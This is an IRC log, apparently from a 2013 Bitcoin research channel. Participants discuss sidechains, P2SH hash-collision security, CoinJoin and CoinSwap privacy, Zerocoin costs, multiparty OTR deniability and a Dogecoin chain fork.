14:13 < amiller> so you don't your transaction in if the miners are all too full and they like others better than yorus
14:14 < adam3us> amiller: i believe its only because of the one-true-chain model to making near 50% attacks difficult (to eventually chose a winning fork if there is a simultaneous block)
14:15 < adam3us> amiller: yes but the concept of a single block as a unified winner is due to a random winner taking 100% of vote
14:17 < adam3us> amiller: if multiple people can vote its more like proportional representation, and all non-dup tx are in by default; and which dup is used is based on the highest (or lowest) voted dup... the vote is mostly for avoiding dups
14:18 < adam3us> amiller: and it doesnt even matter which dup to use, just a random one will do fine (even one chosen by the attacker)
14:19 < amiller> are you saying you'd merge votes
14:19 < amiller> like if i cast 1 vote for {A,B} and you cast 1 vote for {B,C} then that counts as 2 votes for {A,B,C}?
14:20 < adam3us> well the idea is include anything that is not a dup
14:20 < adam3us> so the vote is irrelevant unless there is a dup
14:21 < adam3us> if there is a space limitation take the n highest voted until you're full
14:21 < adam3us> it does have to be somehow consistently serialized however which is the hard part
14:24 < adam3us> adam3us: its only if there are votes (A,B1) and (A,B2) and (B3,C) you need to use the votes to see which of B1,B2,B3 triple spend to use
14:26 < adam3us> adam3us: hypothetically say voting rights are accumulated in one round, to be used during the next round to arbitrate which blocks to include; the hard part is to consistently arrive at the same view of transactions and votes everywhere; maybe the guy who wins the block reward, gets to define the serialization but must provide the vote proofs to justify
his decision, or his block serialization is defined as invalid
14:29 < adam3us> amiller: "well there's that edge case where like, you basically can never prove someone *didn't* hear something" well if its in a trie or sorted binary tree you can efficiently prove he received it or not
14:30 < adam3us> amiller: and if you use committed transactions the miners and voters dont know what they're voting on as the sender, recipient and amount is hidden; then ll attacks degenerate to random DoS or blocking all tx but their own
14:35 < adam3us> committed transactions description is https://bitcointalk.org/index.php?topic=206303.15
14:37 < amiller> well committed transaction doesn't mean the transaction is valid
14:37 < adam3us> it does mean its not double spent however
14:37 < amiller> i think i would like the most if you were able to accept zero knowledge proofs of validity without having to learn anything else about the transaction
14:37 < adam3us> which is bitcoins main challenge
14:38 < adam3us> (the users validate the value from the spend history)
14:38 < adam3us> (which is not particularly spv friendly but there you go, maybe maaku & tries could help that)
12:23 < adam3us> jtimon: the firewall is its not plausible for bitcoin main to consider accepting transfers back from a side chain (2-way peg) unless there is assurance that fraud or security bugs on the side chain can cause holders of bitcoin main coins to be dilluted or lose btc
12:23 < jtimon> petertodd: another is demurrage BUT why would you expect not to have any in-chain transactions? off-chain transactions cannot be p2p currencies
12:23 < adam3us> jtimon: /can/can not/. fortunately that seems possible to assure, hence 2-way peg excitement
12:23 < petertodd> Keep in mind, it's not that I disagree with TD's hope's of people playing nice, it's that if you're depending on that you've got a system with much weaker security guarantees than one that doesn't need honesty.
12:24 < petertodd> jtimon: why pay for an on-chian tx when an off-chian one works well enough? it's simple, less demand for on-chian tx's means less fees, and thus less security
12:25 < adam3us> petertodd: yes. i think 51/33% attacks, incentive in btc main, and merge mined alt & sidechains is far from a done thing. r& d community need to figure out the optimal game-theory and protocol strategies
12:25 < jtimon> petertodd: if an off-chain system has all the properties bitcoin has, why should we fight to maintain a less efficient system?
12:25 < petertodd> jtimon: e.g. suppose fairly secure DRM w/ remote attestation was being shipped to consumers: you can easily turn that into a pretty good off-chain tx system with pretty good security that will get used a lot. That'll take a lot of money away from miners, reducing the security of the underlying system.
12:25 < petertodd> jtimon: because plausible off-chian tx systems *require* bitcoin to exist under the hood
12:26 < adam3us> jtimon: in this side-chain model bitcoin main is the sole home of reward mining. its the hub at the center.
12:26 < petertodd> jtimon: without bitcoin they don't work
12:26 < jtimon> DRM needs proprietary software, which means we can't trust it
12:26 < jtimon> proprietary soft/hardware
12:26 < petertodd> jtimon: so what? trust isn't a binary thing
12:27 < jtimon> oh, I see "nbecause plausible off-chian tx systems *require* bitcoin to exist under the hood" this is what I was missing
12:27 < petertodd> jtimon: if I can trust it *enough* I can use it for less valuable payments and save the more expensive on-chian tx's for more valuable stuff
12:27 < jtimon> freimarkets private blockchains don't need public chains to work
12:27 < petertodd> and if bitcoin still exists, I can use techniques like fidelity bonds to make cracking the DRM system a lot less attractive
12:27 < adam3us> petertodd: there's a guy making offline bitcoin stuff using TPM cards that are microsd sized (via encrypted exchange of private keys) some people see to be excited enuf to be making him non-trivial btc onations
12:27 < jtimon> they can just interoperate with them
12:28 < adam3us> jtimon: is it drazan?
12:28 < jtimon> of course they don't have all the properties bitcoin has
12:28 < petertodd> adam3us: indeed, I'm thinking of buying a pair to support him
12:29 < adam3us> jtimon: drazvan https://bitcointalk.org/index.php?topic=319146.msg4494688#msg4494688
12:29 < adam3us> jtimon: its kind of cool. not secure at the limit, but maybe it works for low value offline tx. its only the users that lose if it goes wrong, nor online btc holders
12:29 < jtimon> so your concern is that off-chain systems relying on bitcoin are so useful that nobody uses in-chain transactions
12:30 < petertodd> jtimon: doesn't have to be "nobody", just has to be sufficiently less demand for on-chian that total fees doesn't pay for enough security
12:31 < jtimon> well, since I'm not against credit, I'm fine if people use other-things-than-bitcoin offline, so these kind of things don't excite me that much, I haven't read the thread yet though
12:31 < adam3us> petertodd: or maybe some trust/certification/ripple stuff sneaks in and mining contribution is reduced
12:32 < jtimon> petertodd I tend to worry more about "too much security" in the chain than about "too little of it"
12:32 < petertodd> my rough guess is something like 0.1% to 1% of the total value of all Bitcoins should go to PoW security per year. Satoshi should have let that happen with either never-ending inflation, or better yet, explicit demurrage. Doing mining that way give a very simple and stable security guarantee, and importantly works regardless of how many on-chain tx's are done.
12:32 < adam3us> jtimon: they are bitcoins, just transfered by encrypted exchange of private keys, in the model that the user doesnt know the private key and the TPM microsd card wont give it to them (or moare accurately tries to prevent cloning, you can load and unload them)
12:32 < petertodd> jtimon: "too much" just means you're wasting money - not a big deal.
12:32 < petertodd> jtimon: too little and some malicious 51% attacker destroys the whole system and we're fucked - big deal
12:32 < adam3us> petertodd: but he should do NFC or QR code, not SMS :(
12:32 < petertodd> jtimon: 0.1% to 1% are pretty low numbers that can be ignored as "rounding errors"
12:33 < petertodd> adam3us: isn't that just a software detail? the hardware itself isn't what does SMS
12:33 < adam3us> petertodd: sure
12:33 < jtimon> maybe I'm too hippy or something, too much you're wasting resources, destroying more nature than you need and all that
12:33 < adam3us> petertodd: nfc/qr = network privacy. sms=privacy leak.
12:34 < petertodd> jtimon: well, meh :) I'm sure conventional transaction systems tend to spend at least similar amounts of money per year on security, likely usually much more than that
12:34 < petertodd> jtimon: I mean, hell, I'm sure with credit cards the numbers are about that *per transaction*
12:34 < jtimon> well, I'm pretty sure 2PC ripple doesn't waste more resources than it needs
12:34 < petertodd> jtimon: wastes a lot of human brainpower on person-to-person trust relationships
12:35 < jtimon> credit cards need to feed fat cats, thus their high fees, but that's another story
12:35 < petertodd> jtimon: that's a shitty way to talk about the situation and makes you sound like an occupy activist
12:36 < jtimon> petertodd I disagree on that I don't have to think a lot when a friend of mine wants to borrow 10 eur
12:36 < petertodd> jtimon: well I think you're dead wrong there :)
12:37 < petertodd> more to the point, if you can only borrow 10 eur from each friend, then actually using ripple for any large tx gets tough
12:38 < jtimon> whatever, I can say it more correctly but it's just takes longer
12:38 < jtimon> was just laziness
12:38 < jtimon> credit cards are a very unefficient system for multiple reasons, I was talking about efficient systems like @PC Ripple
12:38 < jtimon> 2PC
12:38 < jtimon> petertodd: you see I believe in both counterpartyless money and credit monies complementing each other
12:40 < jtimon> to me, people that plainly reject credit as an exchange toold often sound like braindeath cultists goldbugs
12:40 < jtimon> just like people plainly rejecting counterpartyless money and only accepting mutual credit sound like fanatic
12:40 < petertodd> jtimon: You see, I belive in "This Bitcoin thing just requires me to install an app on my phone. This ripple things requires me to dick around convincing my friends to extend credit relationships to me and sounds like a shit-load of work."
12:40 < jtimon> that's just to me
12:41 < petertodd> jtimon: "Also, it's gonna be really awkward to turn down Bob because of his gambling problem."
12:41 < jtimon> petertodd: organizing a ntework of mutual credit local currencies is even more work
12:41 < petertodd> jtimon: "Nice guy, but still hasn't paid me back that $1000 I gave him when he got fired three years ago and needed to pay rent."
12:41 < petertodd> jtimon: "But I'd rather not bring that up again...."
12:42 < jtimon> I agree that a ripple-like network has harder critical mass problem than bitcoin
12:42 < petertodd> jtimon: Meh, software can do that automatically, and more likely we'll have schemes where the exchange rates don't float.
12:42 < petertodd> jtimon: It's orders of magnitude harder.
12:43 < jtimon> luckily it can start with other currencies like backed currencies, bonds, coupons, shares...
12:44 < petertodd> it's totally irrelevant what currency ripple works on, the problem is the social dynamics of it
12:44 < jtimon> maybe it never goes beyond that, but I think coupons can be more imporant than many expect in the future
12:45 < jtimon> if you have a pub and people accept some of your "I owe you a beer at my pub" currency, why wouldn't you do that?
12:46 < petertodd> *if* people accept it
12:46 < petertodd> if they don't, then you've put a lot of effort into a system that never got used
12:47 < jtimon> mutual credit is widely used right now
12:47 < jtimon> much more than you think
12:48 < jtimon> I just want to give this systems a plattorm to securely inter-operate
12:48 < petertodd> I know, it's why I've said before that ripple is much more likely to catch on for b2b transactions given that 30-day-credit relationships are extremely common
12:49 < petertodd> but fundementally you have to ask why you would use the ripple *technology* to manage those relationships? if transaction fees are sufficiently low, there isn't necessarily a compelling reason to bother
12:49 < jtimon> yeah, b2b, so called "barter networks" (they're really just another currency), coupons, local currencies...
12:50 < jtimon> to interoperate with others
12:50 < jtimon> to be able to pay with your spanish local currency in germany
12:50 < petertodd> well, again, what does ripple bring to the table? the ability to do cut-thru credit relationships, what does that do for you? potentially reduces transaction fees
12:50 < petertodd> if fees are low enough, why bother?
12:50 < jtimon> you just need a market path from the spanish local currency to the germany one
09:48 < adam3us> sipa, gmaxwell: so maybe there is a way to force the brute force to work on full preimage and not birthday via the structure of the p2sh calculation
09:49 < gmaxwell> adam3us: sure, you can make life linearly harder by using a 'vanity p2sh address'.
09:50 < adam3us> gmaxwell: as is its yet-another-consideration for the catalog of how-to safely use things (eg dont use p2sh for hashlock)
09:51 < gmaxwell> adam3us: I don't think you can say don't use p2sh for hashlock. But, certantly, you should understand the tradeoffs.
09:52 < adam3us> adam3us: yes, its another place to think about the use-case and think is it strong enough for the time-frame what are the incentives; i think its nicer to say its bullet-proof, knock yourself out for a building block
09:52 < gmaxwell> e.g. if you make the guy that will provide H(x) for the hashlock do so before the public key(s) in the hashlock script are generated, then can he can't search for a p2sh.
09:53 < adam3us> gmaxwell: are you sure? the network doesnt care what you agreed offchain, just that the spender can provide s' st AH(s') = addr, and provide inputs that make s' return true
09:54 < adam3us> gmaxwell: so that only applies to inputs already on the blockchain (i think coinswap does 4 block chain tx, so that maybe the case)
09:55 < adam3us> gmaxwell: eg lets say p2sh = RIPEMD160-128(y=SHA256(s))||y[0..31]
09:55 < adam3us> 128-bit truncate, and expose 32 bits from the inner hash
09:56 < adam3us> gmaxwell: not though hard about but that might screw over the birthday attack
that kind of direction anyway
09:56 < adam3us> gmaxwell: otherwise just 256-bit script hash fixes...
09:56 < gmaxwell> adam3us: You are going to pay to {something} + preimage of HX. You are concerned that if the provider of HX gives you the p2sh address for "{something} + preimage of HX" he'll know another p2sh script that lets him redeem without revealing HX.
09:57 < gmaxwell> adam3us: if you say "Tell me HX, I'll tell you the {something} and we'll use that" then the attack doesn't exist.
09:57 < gmaxwell> (under that kind of protocol, at least)
09:57 < adam3us> gmaxwell: i guess HX better be 256-bit hash output also (yes)
09:58 < adam3us> gmaxwell: err no its irrelevant for hashlock if the committer knows two preimages
if either is shown, the other party can unlock with it...
09:58 < gmaxwell> adam3us: doesn't actually matter!
09:58 < gmaxwell> yep.
09:58 < adam3us> gmaxwell: right
09:59 < gmaxwell> well for hash interlock, it matters for some other things.
09:59 < gmaxwell> E.g. it matters for this one: https://en.bitcoin.it/wiki/User:Gmaxwell/why_hash_locked
10:04 < adam3us> gmaxwell: btw i think the above p2sh = RIPEMD160-128(y=SHA256(s))||y[0..31] doesnt work
probably just screen for 32-bit match then O(2^32)*O(2^64)=O(2^80), the only solution i see is a bigger hash
10:05 < adam3us> maybe you can create for similar cost two public keys Q, Q' AH(Q)=AH(Q') and do some mischief to some other script assumptions, eg an expensive way to create signature malleability
10:10 < gmaxwell> adam3us: yea, thats what I meant by a linear cost increase by using a vanity address. Cute idea to use inner agreement.
10:12 < adam3us> gmaxwell: if you revealed RIPE160(y=SHA256(s))||y[0..31] i think that'd do the trick :) and actually its smaller than using 256-bit output
10:13 < adam3us> gmaxwell: (right idea, wrong parameters a few up)
10:14 < adam3us> gmaxwell: kind of like a 2nd, inner, address checksum
10:55 < adam3us> gmaxwell: about coinSwap you mentioned blind sigs but is that necessary? if each user connects using tor to submit the new address he'd like, and then all users only sign the n of n if their undisclosed but self-chosen address is in the output?
10:59 < adam3us> gmaxwell: starting to have doubts about RIPE160(y=SHA256(s))||y[0..31] isnt that a blackbox 196-bit hash and so attackable with O(2^88).. ignoring the validation method (to check last 32-bits are coming from the inner hash) - its generically blackbox birthday attackable surely!
11:12 < gmaxwell> adam3us: where did I mention blind sigs?
11:12 < gmaxwell> you mean coinjoin.
11:13 < gmaxwell> The reason you (may) need blind sigs is to prevent denial of service attacks. If you do as you describe a trouble maker can continually jam any join operation at basically no cost.
13:32 < adam3us> gmaxwell: no i meant coinswap "It's possible to construct cryptographically-blinded CoinJoins where _no one_ learns whose output is whose (except for each output's owner). CoinSwap results in the participants knowing the linkage."
13:36 < gmaxwell> adam3us: ah, in the coinswap I was comparing to coinjoin. My response applies. :) The reason you (may) want to use blind signing in establishing coinjoins is so you can figure out who is DOSing the join so you can ban them.
13:37 < adam3us> gmaxwell: ah.. duh that was a cross ref to coinjoin, and not coinswap per se
13:50 < gmaxwell> adam3us: the coinswaps are inherently 2-of-2, and so they can't be internally blind (the players still know that the coins are linked).
13:50 < gmaxwell> e.g. you don't know anyones IPs, but you know the connection between this coin and that coin that the swap is intended to conceal.
14:23 < adam3us> gmaxwell: but isnt the coin n of n general case?
14:28 < adam3us> gmaxwell: i was thinking (after coinjoin, before coinswap) that maybe you can p2p coinswap (but didnt get around to trying to figure out how) but that maybe you can chain it, so you get your recipient involved, and you dont learn their address, yet your signature approves it
14:28 < gmaxwell> yes, it should be chainable, but your probablity of failure goes up, and I'm not sure that you can identify the cause of the failure.
14:37 < adam3us> gmaxwell: well eg so in coinjoin A enlists C's help to pay B but A learns B's address. if C was doing this for multiple users in parallel I was thinking maybe A can blind sign B's payment address, and to th extent there are multiple parallel protocol runs there would be an anonymity set
14:39 < adam3us> gmaxwell: but the hashlock value X being chosen by B and disclosed as part of the payment completion links the payments; however perhaps if C could choose X and use the same X for all the parallel protocol runs unlinkability within the anonymity set could be restored
14:54 < adam3us> gmaxwell: btw (reading coinjoin about zerocoin problems) "Uses an accumulator which grows forever and has no pruning" I think accumulator is fixed size, just 3072-bits. The users just have to run full nodes and keep updating w_j=g^(x_1*
*x_{j-1}*x_{j+1}*..>*x_n), (omitting x_j which is theirs) so they can prove w_j^x_j==A mod n
14:55 < adam3us> gmaxwell: (but the rest of the critiques I agree, its impractically inefficient)
15:00 < amiller> adam3us, it's not the accumulator which grows unbounded
15:00 < amiller> it's the list of spent serial numbers
15:01 < amiller> you literally have to check a list of serial numbers that have already been spent every time
15:01 < adam3us> amiller: thats true, I expect thats what Greg meant presumably
15:01 < amiller> you can put them in an ever growing tree but eh
15:08 < gmaxwell> Indeed, thats what I mean there. I didn't actually mean the RSA accumulator, I chose my words foolishly. :) Just that it has an evergrowing database that you can't forget until all the coins are out.
15:08 < gmaxwell> (and if you don't have a way to close off adding new coins, never.)
15:09 < gmaxwell> there are ways around it, e.g. have accumulator's which must have all their coins removed by height whatever or they're forever unrecoverable.
15:10 < gmaxwell> In any case, I wasn't trying to pan zerocoin only highlight that there were non-trivial costs: that its not magic.
20:03 < HM2> hmm NIST reviewing their crypto process
20:03 < HM2> good news i guess
--- Log closed Sun Nov 03 00:00:14 2013
--- Log opened Sun Nov 03 00:00:14 2013
08:57 < adam3us> btw i was misinterpreting https://blockchain.info/q/hashrate as in GH rather than the correct TH in my comparison a few days ago of network has to eff des cracker ($250k, 56hrs to break one O(2^56) des key)
08:58 < sipa> gribble has a ;;nethash command that gives a good estimate in GH/s
08:59 < sipa> (it's pulled from my site)
08:59 < sipa> oh, you're not in #bitcoin-dev ?
08:59 < adam3us> so.. bitcoin is actually doing O(2^71) work puzzles (or O(2^72) if you count each of the double hashes) per 10mins, and if bitcoin was attacking DES (which is probably easier than 1 SHA256 round as DES is ASIC friendly) could do in 9.4ms per DES key to deepcracks 56hrs
08:59 < sipa> that reasoning is flawed IMHO, as the current ASICs cannot do DES at all
08:59 < adam3us> and if focussed on skipjack (80bit previously secret NSA cipher in clipper) it could break one of those every 2 days
09:00 < sipa> yes, it would cost the same of less to produce a similar amount of ASICs that could do DES
09:00 < sipa> but contrary to Bitcoin mining, it does not pay for itself
09:00 < adam3us> sipa: yes its a what if and gmaxwell noted DES is actually more ASIC friendly
09:00 < sipa> i'm sure it is
09:00 < sipa> but i don't think that's very relevant
09:01 < sipa> unless you just want a "how much would it cost to crack DES" computation
09:01 < adam3us> sipa: sure; i just think its interesting to express security of the hash in O(2^k) for comparison and ... 72-bits is a surprising amount for 10mnis
09:01 < adam3us> sipa: (eg for comparison to the birthday attack on p2sh addresses which is itself O(2^80) + tmto)
09:02 < sipa> it's 2**51.85 double-SHA256 per second
09:02 < adam3us> sipa: that makes the RIPEMD160 birthday attack not entirely theoretical
09:02 < adam3us> sipa: err that sounds like my previous gh calc
09:03 < adam3us> https://blockchain.info/q/hashrate = 3983800.965092061
09:03 < sipa> we're at 2**73.5 double-SHA256 in total, ever
09:03 < adam3us> and thats TH so basically 4 PH
09:03 < sipa> i refuse to look at b.i
15:25 < gmaxwell> maaku: sure, if your output sizes are not equal, and you exclude the possibility that users aren't doing fun things like paying eachother with imbalanced transactions... then you get some probablity mass for any output that it came from any one of the inputs.. and the distribution isn't flat.
15:25 < gmaxwell> e.g. it couldn't have come from any initial parties that had less coin than it
as the first example.
15:26 < gmaxwell> if you have a chain of transactions then you can say "it could have come from A or B, if and only if Z didn't come from A or B, if Z did then it came from B or C"
15:28 < maaku> Although coinjoin payments throw a muck in that
15:29 < maaku> The anonymity set is bounded by the number of participants, obviously
15:29 < gmaxwell> yea, or fancier things.. like do a CJ transaction where you put in 2 BTC, and I put in 1 BTC... and I walk away with 2 BTC and you walk away with 1 BTC. You just paid me 1 BTC... and someone trying to deanonymize with values got an exactly opposite result.
15:30 < maaku> When you limit yourself to standard sizes, you limit yourself to the people actually participating at that level
15:30 < maaku> Whereas if you allow any random output amounts, then there's even mixing between "levels" going on
15:30 < gmaxwell> yea, I don't like _forcing_ sizes, but obviously you get better privacy if you make use of size alignment where it exists.
15:31 < gmaxwell> especially if people are doing things like pay-to-payment where 2,1 becomes 1,2 ... making value analysis unrelable.
15:32 < maaku> I haven't formalized this, by my intuition is that if we let output sizes be a random walk based on availability, or even guided to "equalize" the distribution of outputs, you'd get maximal anonymity that way
15:32 < maaku> Much better than standardizing on fixed sizes, which actually hurts you relative to the anonymity you could achieve
15:33 < gmaxwell> sort of would make an interesting payment protocol addition. "pay me xxx BTC to yyy, oh yea, and add these extra inputs too
I'll worry about getting them signed"
15:33 < maaku> Yeah that would be a good addition
15:34 < gmaxwell> lets you handle dust consolidation too.
15:40 < phantomcircuit> maaku, the output sizes would then be largely set by the meeting point then right?
15:41 < petertodd> gmaxwell: got a name for that concept? good addition to the payment protocol for sure
15:41 < gmaxwell> its sort of the opposite of change.
15:41 < maaku> phantomcircuit: my design allows participants to set allowed ranges, and the joiner / meeting point decides the actual output sizes
15:42 < maaku> it's fully p2p so all clients spend some time participating in other proposed joins, some time organizing their own
15:43 < phantomcircuit> oh using blinding and what not?
15:43 < phantomcircuit> maaku, are you relying on being able to get tor to give you a new hidden service locally? because it's unpossible to make it do that
15:44 < phantomcircuit> i actually tried to add it as a control instruction but it doesn't seem to work except during initialization
15:44 < phantomcircuit> didn't investigate why though
15:45 < andytoshi> can you do it with two fixed hidden services?
15:45 < maaku> andytoshi: no the anonymous revelation is one-use-only
15:46 < maaku> phantomcircuit: I find that hard to believe, unless I'm misunderstanding what you're saying
15:46 < maaku> all you need is one new circuit to broadcast the revelation message
15:47 < phantomcircuit> maaku, im asking if you need the individual clients to have their own hidden service address
15:47 < phantomcircuit> or whether you have a central meeting point with it's own fixed address
15:48 < phantomcircuit> if you need to generate a hidden service endpoint on the clients side
15:48 < phantomcircuit> you're gonna have a bad time
15:48 < maaku> no you do not
15:49 < maaku> clients have fixed endpoints, but there is no central server
15:49 < maaku> the revelation message only needs to be broadcast on a new circuit
15:49 < phantomcircuit> ok
15:49 < maaku> but it doesn't need a hidden service for that
15:49 < maaku> but it's a complicated question because it's getting into low-level details that could change
15:49 < phantomcircuit> you'll need them to setup the hidden service manually still but at least that is a one time setup
15:50 < maaku> for example I've propsed implementing it over bitmessage, which may or may not need a full hidden service; i don't know
15:51 < maaku> but in principle, you just need to connect over a new circuit and broadcast to a random selection of peers the revelation message, and wait to hear the same message arrive at your normal fixed hidden service port, then disconnect and dissolve the circuit
15:53 < maaku> but to andytoshi's point you certainly don't want the 2nd connection to be fixed, because then you could link successive joins to the same person, under some circumstances at least
15:58 < gmaxwell> maaku: there is a bunch of data that you actually need to make sure are consistent for all the players, or you have a risk of the server deanonymizing people even with multiple real players.. though these things could be addressed with the same mechnism I suggested for address reuse.
15:59 < gmaxwell> but I don't know if it matters all that much just due to the risk that the attacker makes all your counterparties sybs.
15:59 < phantomcircuit> oh and something to keep in mind
16:00 < phantomcircuit> if you're using public derivation with an hd wallet then they can figure out if you're using the same chain by just generating them
16:00 < gmaxwell> phantomcircuit: huh, no
only if you give them an extended public key, and why would you do that?
16:00 < phantomcircuit> gmaxwell, lazyness?
16:01 < phantomcircuit> im pretty sure i've seen at least one person suggesting it
16:03 < gmaxwell> I used a crazy rhetorical stunt on the OTR mailing list today and I think it worked.
16:04 < phantomcircuit> gmaxwell, link?
16:04 < phantomcircuit> or is it postman
16:04 < phantomcircuit> stupid postman
16:04 < gmaxwell> Some guy was arging that MPOTR shouldn't have non-non-repudiation (the OTR denyability property) because it's hard and because people will believe totally unauthenticated transcripts anyways, so the non-non-repudiation buys you nothing.
16:05 < gmaxwell> I responded, and in my response I edited the quotation so that he was saying he was a state sponsored shill.
16:05 < BlueMatt> heh
16:05 < gmaxwell> To which he responded perfectly "It's also unethical to silent change my quote to read something I didn't say."
16:05 < gmaxwell> To which I responded, "Do you mean to suggest that you actually have an ability to refute a
16:05 < gmaxwell> non-cryptographically attested transcript? And that someone might
16:05 < gmaxwell> believe your claim that it was forged? Interesting."
16:05 < andytoshi> ha!
16:06 < gmaxwell> and ... he seems to have now softened his position! O_o
16:06 < BlueMatt> heh, nice
16:07 < nsh> gmaxwell, could summarize the current status of MPOTR? are there workable algorithms/libraries/architectures?
16:07 < nsh> *could you
16:07 < nsh> that would be a nice thing for everyone to have about now...
16:08 < gmaxwell> nsh: I haven't kept up with it. There is a paper published on it, I read it when it came out, and concluded it sounded sensible and forgot it.
16:08 < nsh> ok
16:08 < gmaxwell> Actually implementing it is hard because the obvious way of achieving it has a consensus problem burried into it.
16:08 < gmaxwell> (fortunately not an anonymous consensus though)
16:09 < nsh> hmm
16:09 < nsh> what is consensuated?
16:09 < gmaxwell> basically you divide the chat into arbritarily short epochs and when everyone agrees an epoch has ended you publish the authentication keys so that all parties could fake the transcript.
16:10 < nsh> hmm
16:10 < gmaxwell> You need a consensus that an epoch is over, or someone could trick you into disclosing your authentication key prematurely, and then create forged messages from you for anyone else who doesn't believe the epoch is complete.
16:10 * nsh nods
16:11 < gmaxwell> This is all a problem because you want the property that no chart participant can pretend to be any other in realtime, but later any party can create a forged transcript.
16:11 < gmaxwell> s/chart/chat/
16:11 < gmaxwell> If you don't care about the people pretending to be each other there are a bunch of simple things to do.
16:12 < nsh> hmm
16:12 < gmaxwell> OTR does the same thing, but 2 party consensus is trivial. :P
16:12 < nsh> aye
17:00 < jrmithdobbs> you can't "get it out"
17:01 < jrmithdobbs> erm, wrong channel
17:43 < phantomcircuit> jrmithdobbs, lol @ no context
19:01 < gmaxwell> andytoshi: ... bad luck on that thread on bitcointalk.
19:02 < Luke-Jr> luck? O.o
19:08 < andytoshi> haha
19:08 < andytoshi> i think i made him look like enough of a tool that people will hesitate to use his software
19:09 < andytoshi> (not that people who need encryption would be searching bitcointalk anyway)
19:09 < jrmithdobbs> andytoshi: still waiting on that to work with tux
19:24 < BlueMatt> are there any serious or semi-serious proposals for how to fix an altcoin 1:1 to bitcoin without a large cost to bitcoin miners given some hardfork changes to bitcoin?
19:26 < gmaxwell> if not for the disabled operators you could probably do it without hardfork changes to bitcoin, though you would only have SPV security in the altcoin-bitcoin direction.
19:27 < BlueMatt> even getting spv security in the altcoin-> bitcoin direction is non-trivial, no?
19:27 < BlueMatt> (given hardfork to reenable opcodes)
19:27 < BlueMatt> you'd have to have the whole chain history, or some subset starting from the time of the bitcoin->altcoin transfer
19:28 < BlueMatt> well, whole block-header-chain-history
19:28 < gmaxwell> yea, you just write a script that can do a spv validation and then takes a chunk of headers of a prespecified sufficient difficulty.
05:10 < gmaxwell> if not they may be for a helluva ride as the hashrate majority when I looked _appeared_ to be on the acceptable-to-all fork
05:11 < gmaxwell> who the heck knows what happens if you upgrade to code that imposes a checkpoint you've long since violated and you don't reindex.
05:12 < brisque> the commit only checkpoints two very late blocks, but I'm not really sure how the behaviour works
05:12 < brisque> https://github.com/dogecoin/dogecoin/commit/dab72582b657395a25e25f4ea367b8b8990db460
05:13 < brisque> in the first commit they only checkpoint the later block *after* the fork, but wisely added a checkpoint for the forking block later on.
05:13 < gmaxwell> this sounds like a bad idea, if the hashrate majority is on the old stuff, they'll keep on trucking. If its on the new stuff, they didn't need the checkpoint at all.
05:15 < brisque> from their IRC (signal to noise was off the chart, it was hard to tell) the older branch had the majority and was overtaking the newer clients with the forking change. as the original instructions from the developer were to upgrade at all costs, I guess they just went with it.
05:15 < gmaxwell> also if you upgrade a node already past the checkpoint on the non-checkpointed chain, it's not going to reorg on its own unless you do a reindex.
05:16 < gmaxwell> seems like a really bad plan to me, since they won't know for sure if they'll actually get the majority to switch fast.
05:16 < gmaxwell> so it might make a huge reorg days later...
05:19 < brisque> I'm not sure it was thought through that much, from talking to the developer before he was certainly trying to grapple with what was going on, but doesn't have that much experience with the finer points.
05:20 < gmaxwell> my strategy would have been to revert the change, set the change to trigger in the future, checkpoint the chain everyone can accept. release and nag everyone to upgrade to that.
05:21 < brisque> sounds familiar.
05:21 < gmaxwell> that would avoid any (further) reorgs assuming the hashpower majority was already on the generally acceptable chain.
05:21 < gmaxwell> it's even _better_ than when we did it in bitcoin, if the hashpower majority is on the generally acceptable chain most of the time.
05:22 < gmaxwell> (bitcoin was screwed because there was a decisive hashpower majority on a chain the majority of nodes would reject)
05:24 < brisque> handled with relative grace given the circumstances. it would have been harder with a majority p2pool, but significantly easier now that we have two pools with a majority hashrate.
05:26 < gmaxwell> well it wouldn't have happened at all really with p2pool. majority of nodes were not on the fork creating version we would have just gotten a _single_ orphan block out of it and probably not noticed the event. :( (if thats good or bad it's unclear!)
05:27 < gmaxwell> it's actually an interesting question if the BIP50 fork actually happened earlier and we missed it because the old chain got ahead fast enough.
05:28 < brisque> the 0.8 chain was from a single pool wasn't it?
05:29 < brisque> wouldn't they have notice the sudden increase in orphaned blocks?
05:29 < gmaxwell> no, its was from two primarily.
05:29 < brisque> BTCGuild and Slush, got it.
05:29 < gmaxwell> brisque: I mean in a hypothetical world where hashpower wasn't consoldated at a big pool...
05:30 < gmaxwell> the trigger was pretty hard to hit, we went for months before triggering it again after the large blocks were allowed again.
05:30 < gmaxwell> I think we've triggered large numbers of unpatched 0.7 nodes to misbehave only twice since.
05:30 < brisque> so 0.7 clients without a modified database configuration are permanently orphaned now?
05:30 < gmaxwell> no because its non-determinstic.
05:30 < gmaxwell> the last time apparently got a lot of them though.
05:31 < gmaxwell> I'd bet you could sync a new one from start successfully now though.
05:32 < gmaxwell> if instead the <0.8 nodes solved two blocks before the 0.8 only chain got a second, it would have just been orphaned and probably no one would have noticed, since that orphan producing 0.8 node would likely have not triggered it again with its next block.
05:32 < gmaxwell> (as some portion of its txn would have been included on the <0.8 chain.)
05:33 < brisque> I've a few 0.7.99 clients at the current highest block, so you're likely right with that.
05:34 < gmaxwell> 0.7.99 = 0.8 for this purpose.
05:35 < michagogo|cloud> 12:26:40 <gmaxwell> well it wouldn't have happened at all really with p2pool. majority of nodes were not on the fork creating version we would have just gotten a _single_ orphan block out of it and probably not noticed the event. :( (if thats good or bad it's unclear!)
05:36 < michagogo|cloud> B
05:37 < michagogo|cloud> Gah, I hate when that happens
05:39 < michagogo|cloud> But wouldn't the transactions have ended up in the mempools of the upgraded nodes, getting remined again at each block that an upgraded node mined?
05:41 < gmaxwell> michagogo|cloud: yes, creating single height forks which wouldn't continue (far) if they were in the minority, and would stop if they restarted, and would stop if they switched to the latest build. and since they were already running the latest code, there is a prior probablity that they're likely to upgrade.
05:45 < michagogo|cloud> gmaxwell: Sure, but it wouldn't just be a single block, it would be a bunch of 1-deep forks, and I think "oh, I stopped getting doges for my mining" would have lead to it being noticed
05:50 < gmaxwell> michagogo|cloud: I think you're splicing two discussion now.
05:50 < gmaxwell> not being noticed was a comment on the bitcoin pre-0.8 vs 0.8 hardfork
05:50 < michagogo|cloud> oh
05:50 < gmaxwell> which wouldn't have likely retriggered.
05:50 < michagogo|cloud> ...right, sorry
05:51 * michagogo|cloud rereads
05:51 * michagogo|cloud goes back into his corner
07:47 < adam3us> i liked jtimon's use of the word scamcoin to cover param-tweaks. i do think we need a clear tone setting term for param-tweaks vs actual alts, the scam coins are unduly dirtying even the concept of alts; alts with actual innovation could be useful things; as we've discussed btc pegged side-chains are good for some types of things, but actualy experiments
